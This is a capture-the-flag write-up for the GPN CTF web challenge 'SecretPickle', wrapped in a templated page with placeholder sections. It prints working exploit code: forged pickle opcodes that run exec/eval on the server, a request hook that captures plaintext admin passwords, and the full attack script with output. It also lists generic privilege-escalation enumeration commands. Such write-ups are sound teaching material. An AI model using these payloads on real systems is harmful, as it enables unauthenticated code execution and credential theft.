← Back to Writeups
HTBN/AWeb

SecretPickle

XESXOR8/23/20267 min read
#web#htb#n/a

SecretPickle

Platform: GPN CTF | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2024-06-01 | Status: Solved Techniques: forged_pickle_opcodes, plaintext_credential_capture, request_hook_capture, server_rce, xor_known_key

Summary

Task: FastAPI app deserializes a 'secretpickle' blob (base64 + XOR with a key hardcoded in source) via pickle.loads, giving unauthenticated RCE. Solution: forge arbitrary pickle opcodes since the XOR key is known, install a request hook to capture decrypted payloads, trigger the adminbot whose pyodide client logs in as admin sending the FLAG (its password) in plaintext, then read it back.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: gpnctf | ID: 20240601_gpnctf_secretpickle
  • Tags: rce, playwright, fastapi, xor, pickle, insecure_deserialization, pyodide, fake_encryption, adminbot
  • Indicators: XOR key hardcoded in source, pickle.loads on user-controlled bytes, base64 + XOR called 'encryption, adminbot logs in with FLAG as password, fixed pickle prefix stripped/prepended
  • Source: 20240601_gpnctf_secretpickle.md

Foothold

Vulnerability / Misconfiguration

  1. Forged_pickle_opcodes
  2. Plaintext_credential_capture
  3. Request_hook_capture
  4. Server_rce
  5. Xor_known_key
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • forged_pickle_opcodes
  • plaintext_credential_capture
  • request_hook_capture
  • server_rce
  • xor_known_key
  • Tags: rce, playwright, fastapi, xor, pickle, insecure_deserialization, pyodide, fake_encryption, adminbot

Original Writeup

<details><summary>Click to expand original content</summary>

SecretPickle — GPNCTF (kitctf / GPN24)

Description

The only serialization method that I found in the restaurant were Pickles. So I made an encrypted version of it that nobody can crack!

We are given secretpickle-easy.tar.gz with app/{adminbot.py, client.py, secretpickle.py, server.py, index.html, deps/...}. The goal is to read the flag, which lives at /flag.txt inside the adminbot container.

Architecture

  • Frontend runs entirely in the browser via Pyodide (client.py + secretpickle.py). It parses URL query params with yaml.safe_load and renders server results via DOMPurify.sanitize + document.write.
  • Backend is FastAPI (server.py). One key endpoint:
  @app.post("/{b64:path}")
  async def secretpickle_handle(request: Request, b64: str):
      pl = secretpickle_load(b64)          # -> pickle.loads
      action = pl.get("action", pl.get("a"))
      params = pl.get("params", pl.get("p", {}))
      res = await action_handler(action, params, pl)
      return secretpickle_dump(res)

Actions: home, hello, register, login, whoami, encrypt, decrypt, adminbot.

  • adminbot (adminbot.py, Playwright/chromium). On every visit it:
  1. registers admin with password=FLAG,
  2. logs in as admin (which stores username/password in the headless browser's localStorage),
  3. runs whoami,
  4. then navigates to the attacker-supplied URL.
  FLAG = open("/flag.txt").read().strip()
  ...
  await page.goto(action_url("register", username="admin", password=FLAG))
  await page.goto(action_url("login",    username="admin", password=FLAG))
  await page.goto(action_url("whoami"))
  await page.goto(url)   # attacker-controlled

Analysis — the fake "encryption"

secretpickle.py is the entire crypto:

SECRETPICKLE_OBJECT_PREFIX = bytes.fromhex("8004 950000000000000000 7d 94 28")
# proto4 + FRAME(len=0) + EMPTY_DICT + MEMOIZE + MARK

# "128 random bits, so same security as AES-128"
SECRETPICKLE_XOR_KEY = bytes.fromhex("77c07f8fd2ae7ad9f5aabc008c79d0d3")  # HARDCODED

def secretpickle_dump(decoded, encoder=pickle.dumps):
    raw = encoder(decoded)
    trimmed = raw[len(SECRETPICKLE_OBJECT_PREFIX):]   # strip fixed 14-byte prefix
    return base64.b64encode(xor(trimmed, KEY)).decode()

def secretpickle_load(encoded, decoder=pickle.loads):
    decoded = base64.b64decode(encoded)
    untrimmed = SECRETPICKLE_OBJECT_PREFIX + xor(decoded, KEY)  # re-prepend prefix
    return decoder(untrimmed)                                  # pickle.loads!

Root cause: the "encryption" is XOR with a key committed in the source, so it provides zero secrecy. Anyone can forge an arbitrary secretpickle blob → arbitrary pickle bytes are passed to pickle.loads on the server → unauthenticated remote code execution. (Classic: pickle is not a secure format, and XOR-with-known-key is not encryption.)

Why server RCE alone doesn't directly give the flag

  • The flag lives in the adminbot container (/flag.txt) and is used as the admin password.
  • On the server, USERS only stores sha256(FLAG) — not reversible:
  USERS[username] = {"username": username, "password": hash(password)}  # sha256
  • But the adminbot's pyodide client logs in as admin by POSTing the payload containing password=FLAG in plaintext to the server (the password is in the secretpickle body sent to POST /{b64}). So with server RCE we hook the request handler to capture every decrypted payload, trigger the adminbot, and the admin login leaks FLAG in plaintext into our capture, which we read back.

The forge primitive

secretpickle_load always prepends the fixed 14-byte PREFIX. That prefix is exactly proto4 + FRAME + EMPTY_DICT + MEMOIZE + MARK, i.e. it leaves an empty dict {} and a MARK on the pickle stack — harmless. To forge an arbitrary pickle P:

  1. Build P = PREFIX + <your opcodes>. Append a REDUCE object + STOP; pickle.loads returns the top of the stack (your object), ignoring the leftover {}/MARK.
  2. Send b64 = base64( XOR( P[14:], KEY ) ) to POST /{b64}.
def forge(full_pickle: bytes) -> str:
    assert full_pickle[:len(PFX)] == PFX
    return base64.b64encode(secretpickle_encrypt(full_pickle[len(PFX):])).decode()

def pstr(s: bytes) -> bytes:                    # SHORT_BINUNICODE / BINUNICODE
    if len(s) < 256:
        return b'\x8c' + bytes([len(s)]) + s
    return b'X' + len(s).to_bytes(4, 'little') + s

Two payload builders:

def payload_exec(code: str) -> str:
    # runs builtins.exec(code) during unpickling (side effects; loaded value = None)
    ops = b'cbuiltins\nexec\n(' + pstr(code.encode()) + b'tR.'
    return forge(PFX + ops)

def payload_eval_to_hello(code: str) -> str:
    # loaded value = {'action':'hello','params':{'name': str(eval(code))}}
    # server 'hello' returns "Hello, {name}!" -> echoes eval result back to us
    expr = "{'action':'hello','params':{'name': str(%s)}}" % code
    ops = b'cbuiltins\neval\n(' + pstr(expr.encode()) + b'tR.'
    return forge(PFX + ops)

payload_eval_to_hello gives us both an RCE confirmation and an arbitrary read primitive: the hello action returns "Hello, {name}!", so the result of evaluating any expression is echoed back in the HTTP response.

The capture hook (closure pitfall)

We exec code that wraps both secretpickle.secretpickle_load and server.secretpickle_load so every decrypted payload's repr is appended to builtins._cap.

HOOK_CODE = (
    "import builtins, server, secretpickle, pickle\n"
    "if not hasattr(builtins, '_cap'):\n"
    "    builtins._cap = []\n"
    "    _o = secretpickle.secretpickle_load\n"
    "    def _hook(encoded, decoder=pickle.loads, _o=_o, _b=builtins):\n"
    "        r = _o(encoded, decoder)\n"
    "        try: _b._cap.append(repr(r))\n"
    "        except Exception: pass\n"
    "        return r\n"
    "    secretpickle.secretpickle_load = _hook\n"
    "    server.secretpickle_load = _hook\n"
)

Two gotchas worth remembering:

  • Closure binding. When running via builtins.exec(code_string) inside the unpickling frame, the exec namespace does not persist as the nested function's globals, so the inner function loses references like builtins and the original function. Fix: bind them as default arguments (def _hook(encoded, decoder=pickle.loads, _o=_o, _b=builtins): ...).
  • Both name bindings. server.py did from secretpickle import secretpickle_load, so it holds its own name binding — you must patch server.secretpickle_load too, not just the one in the secretpickle module.

Full attack chain

  1. Stage 1 (sanity): POST payload_eval_to_hello("7*6") → response Hello, 42! confirms server RCE + read primitive.
  2. Stage 2: POST payload_exec(HOOK_CODE) → installs the capture hook (the response is an error because the loaded value is None, but the side effect succeeds).
  3. Stage 3: POST a normal secretpickle for action=adminbot with params.url = base64("http://127.0.0.1/?action=home"). The adminbot register+login+whoami as admin, sending password=FLAG in plaintext to the server, captured by the hook. (The adminbot fetch may report Remote end closed connection without response or take ~15–25s; that's fine, the capture still happens.)
  4. Stage 4: POST payload_eval_to_hello("__import__('builtins')._cap") → the server returns the captured payloads, including the admin login with the plaintext FLAG. Regex GPNCTF\{[^}]*\} extracts it.
post(payload_eval_to_hello("7*6"))                 # -> "Hello, 42!"
post(payload_exec(HOOK_CODE))                       # install hook
bot_url = base64.b64encode(b"http://127.0.0.1/?action=home").decode()
post(secretpickle_dump({"action": "adminbot", "params": {"url": bot_url}}))
time.sleep(25)
res = post(payload_eval_to_hello("__import__('builtins')._cap"))
print(re.findall(r"GPNCTF\{[^}]*\}", str(res)))

Live output (proof)

Stage 4 returned:

Hello, ["{'action': 'adminbot', 'params': {'url': 'aHR0cDovLzEyNy4wLjAuMS8/YWN0aW9uPWhvbWU='}}",
         "{'action': 'login', 'params': {'username': 'admin',
           'password': 'GPNCTF{REDACTED}'}}"]!

Dead ends (lessons)

  • XSS via the rendered result: DOMPurify is 3.4.7 (latest, no known bypass) — html() sanitizes everything, so direct DOM XSS to read localStorage is not viable.
  • YAML anchor self-reference in client.load_params (to make params alias the root dict so the post-set password gets reflected): impossible because the client transforms every & into a newline (and %26 unquotes to & then becomes a newline), and YAML anchors require &.
  • No direct pickle injection into the admin browser: the only pickle.loads in the browser is on the server's response, so you must control the server (server RCE) to influence it — hence the server-side capture approach is the clean path.
  • Reading the admin password from USERS is useless: only sha256(FLAG) is stored.
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR